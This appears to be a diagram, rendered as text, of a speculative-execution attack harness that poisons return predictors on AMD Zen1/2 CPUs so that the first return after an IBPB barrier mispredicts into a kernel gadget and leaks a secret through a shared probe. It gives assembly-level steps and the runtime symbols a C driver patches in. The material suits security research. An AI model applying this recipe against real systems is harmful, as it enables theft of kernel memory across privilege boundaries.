

User space runtime setup (C driver)

Patch runtime symbols used by pbinc.asm:
`_pbinc_kernel_gadget_addr = read(/sys/kernel/pbinc/gaddr)`
`_alias_tbl[] = build 64 trampolines (RA aliasing)`
`_slow_predicate_ptr = allocate slow/cold memory`
`_pbinc_probe_shared = GVA of shared probe (passed to userland)`

initializes / patches Jump into pbinc_entry()

Patched inputs (pbinc.asm externs)
`_alias_tbl[64]`
`_slow_predicate_ptr`
`_pbinc_kernel_gadget_addr`
`_pbinc_probe_shared`

pbinc.asm (training harness)

pbinc_entry: 1) call pre_ibpb_transient_train 2) mov rax, 39 (getpid) 3) syscall
(cross IBPB boundary) 4) spin loop: pause; jmp .spin

call pre_ibpb_transient_train:
jmp .do_branch (architectural skip) -> .speculative_call_cascade executes only
transiently

jmp .do_branch (architectural)

externs resolved at runtime
.do_branch (predicate delay):
rdx = _slow_predicate_ptr - rax = [rdx] (slow load)
cmp rax, 0xdeadbeef
je .speculative_call_cascade (backward Jcc)
ret

mispredicted backward JE (speculative path)

.speculative_call_cascade (transient-only):
rsi = _alias_tbl - ecx = 64
loop: call qword [rsi] (speculative)
add rsi, 8 dec ecx
jnz .alias_loop
ret

CPU / boundary effects (induced behavior)

Transient window opens (backward Jcc resolves late) -> CPU speculates into
call cascade

calls do not retire (transient-only)

syscall(getpid)

Training effect: 64 speculative CALLs push return addresses -> bias/overflow
return prediction state (RSB / alternate return predictors) Target class: RA
aliasing to kernel gadget bits

slow load delays branch resolution

speculates into call cascade

trained return prediction state persists across IBPB (Zen1/2)

Boundary crossing: syscall(getpid) -> kernel entry executes IBPB-on-entry -> first
post-IBPB RET can still consult poisoned return-target predictions on Zen1/2

speculative CALL pressure mispredicted RET -> transient gadget

Resulting transient control transfer: post-IBPB early RET mispredicts -> lands in
kernel gadget (pbinc_dc_gadget) -> encodes secret into shared probe